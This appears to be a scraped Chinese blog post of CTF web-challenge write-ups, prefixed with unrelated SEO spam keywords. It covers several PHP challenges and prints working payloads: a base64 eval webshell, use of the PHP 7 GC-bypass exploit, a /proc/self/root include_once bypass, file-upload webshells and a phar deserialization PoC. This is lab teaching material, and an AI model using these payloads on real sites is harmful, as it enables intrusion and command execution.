教育网站颜色,把自己的电脑做网站服务器,网站建设公司首选,宁波seo关键词优化案例[GKCTF 2020]CheckIN 代码审计 这段代码定义了一个名为ClassName的类#xff0c;并在脚本的最后创建了一个ClassName类的实例。 在ClassName类的构造函数中#xff0c;首先通过调用$this-x()方法获取了请求参数$_REQUEST中的值#xff0c;并将其赋值给$this-code属性…[GKCTF 2020]CheckIN 代码审计 这段代码定义了一个名为ClassName的类并在脚本的最后创建了一个ClassName类的实例。 在ClassName类的构造函数中首先通过调用$this-x()方法获取了请求参数$_REQUEST中的值并将其赋值给$this-code属性。接下来使用base64_decode()函数对$this-code进行解码将解码后的结果赋值给$this-decode属性。最后使用eval()函数执行$this-decode中的代码。 ClassName类还定义了一个名为x()的公共方法它返回$_REQUEST数组即包含了所有请求参数的关联数组。 最后通过new ClassName()创建了一个ClassName类的实例从而触发了构造函数的执行。 关键代码 function __construct() { $this-code $this-x()[Ginkgo]; $this-decode base64_decode( $this-code ); Eval($this-decode); 大概意思就是传参Ginkgo并进行base64编码就可以执行eval函数
试试看 传参Ginkgophpinfo();
?GinkgocGhwaW5mbygpOw 看一下限制函数 过滤了很多东西利用一句话木马来连接蚁剑然后找flag
本题前面有eval还增加eval原因是eval是把内容当作php代码执行写入$_POST[cmd]就不是一句话木马了,所以再增加一个
eval($_POST[cmd]);
/?GinkgoZXZhbCgkX1BPU1RbJ2NtZCddKTs 连接发现有一个flag文件有一个realflag文件
打开发现flag文件没东西readflag是乱码 到这里有两种做法一是利用蚁剑的插件进行读取
二是利用phpinfo版本漏洞的exp进行读取
我用的是法2法1不知道为什么用不了
看phpinfo发现版本是7.3.18这个版本有漏洞 php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围为linuxphp7.0-7.3exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
拉下来后修改改为执行readflag
然后把他写在/tmp文件夹因为只有他有写的权限777
上传exp并将执行命令改成 pwn(/readflag); include(/tmp/1.php); 进行base64编码
进行传参 ?GinkgoaW5jbHVkZSgnL3RtcC8xLnBocCcpOw
得到flag [SWPUCTF 2022 新生赛]Ez_upload
上传一句话木马 上传.htassecc文件发现被限制 抓包改发现上传成功在上传一个图片马就结束了 利用js标签上传成功他对php短标签还有过滤 发现上传成功看phpinfo();找信息
得到flag [NCTF 2019]Fake XML cookbook
看到是xxe注入也就是xml注入好久没看过了
先推荐两篇大佬的博客给大家没有系统的学过xxe
XML外部实体XXE注入 - 知乎
XML注入攻击总结_xml攻击-CSDN博客 这个大佬通过这道题讲了xxe [NCTF2019]Fake XML cookbook XML注入_双层小牛堡的博客-CSDN博客
通过构造的payload看到了文件内容 直接读取flag,就得到了flag [NSSRound#8 Basic]MyPage
打开又是空的看到了url有?file传参 发现传伪协议进去也没得用,用dirsearch扫也没扫到
尝试用伪协议访问一下index.php只有伪协议能试试了
一直是没回显等到我传var/www/html/inedx.php的时候终于有了回显、 因为输入什么都没有回显并且传马也是传不上去
猜测是require_once()尝试绕过它
require_once()如果文件已包含则不会包含会生成致命错误E_COMPILE_ERROR并停止脚本
先来了解一下PHP文件包含机制
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中正常情况下PHP会将用户输入的文件名进行resolve转换成标准的绝对路径这个转换的过程会将…/、./、软连接等都进行计算得到一个最终的路径再进行包含。如果软连接跳转的次数超过了某一个上限Linux的lstat函数就会出错导致PHP计算出的绝对路径就会包含一部分软连接的路径也就和原始路径不相同的即可绕过include_once限制。
/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接
cwd 文件是一个指向当前进程运行目录的符号链接
/proc/self/cwd 返回当前文件所在目录 尝试用/proc/self/root连接回/使用脏数据绕过看看 脏数据是指什么_笔记大全_设计学院 Linux 内核提供了一种通过 /proc 文件系统在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统它只存在内存当中而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。 使用伪协议来读取文件构造payload: index.php?filephp://filter/readconvert.base64-encode/resource/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php 终于有了回显 得到了源码 ?php error_reporting(0); include flag.php; if(!isset($_GET[file])) { header(Location:/index.php?file); } else { $file $_GET[file]; if (!preg_match(/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is, $file)) { include_once $file; } else { die(error.); } } 尝试读取flag 得到flag [SWPUCTF 2021 新生赛]babyunser
之前考核做过phar的题也是文件上传正好再复习一下
【精选】文件上传与Phar反序列化的摩擦_phar文件上传_Aiwin-Hacker的博客-CSDN博客
打开是一个什么文件管理器 上马发现不行 在查看文件里查询class.php发现源码 ?php class aa{ public $name; public function __construct(){ $this-nameaa; } public function __destruct(){ $this-namestrtolower($this-name); } } class ff{ private $content; public $func; public function __construct(){ $this-content\?php eval(\$_POST[1]);?; } public function __get($key){ $this-$key-{$this-func}($_POST[cmd]); } } class zz{ public $filename; public $contentsurprise; public function __construct($filename){ $this-filename$filename; } public function filter(){ if(preg_match(/^\/|php:|data|zip|\.\.\//i,$this-filename)){ die(这不合理); } } public function write($var){ $filename$this-filename; $lt$this-filename-$var; //此功能废弃不想写了 } public function getFile(){ $this-filter(); $contentsfile_get_contents($this-filename); if(!empty($contents)){ return $contents; }else{ die(404 not found); } } public function __toString(){ $this-{$_POST[method]}($_POST[var]); return $this-content; } } class xx{ public $name; public $arg; public function __construct(){ $this-nameeval; $this-argphpinfo();; } public function __call($name,$arg){ $name($arg[0]); } } 还是构造pop链然后构造poc
既然是反序列化那么就需要寻找入口点ff类的__get魔术方法好像可以构造命令执行刚好ff类有私有的 content参数用于触发__get方法那么整条Pop链就是
aa::destruct()-zz::toString()-zz::write-xx-ff::__get()
主要是要通过write触发__get方法。 ?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this-ljtMisc; $this-dkyRe; $this-cmdsystem(cat /flag);; } } $a new LoveNss(); $phar new Phar(aa.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ? ); $phar-setMetadata($a); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ? 通过脚本生成phar文件 filephar://upload/46aafa512d96f9be5726b5d9d777906d.txtmethodwritevarcontentcmdls / 得到flag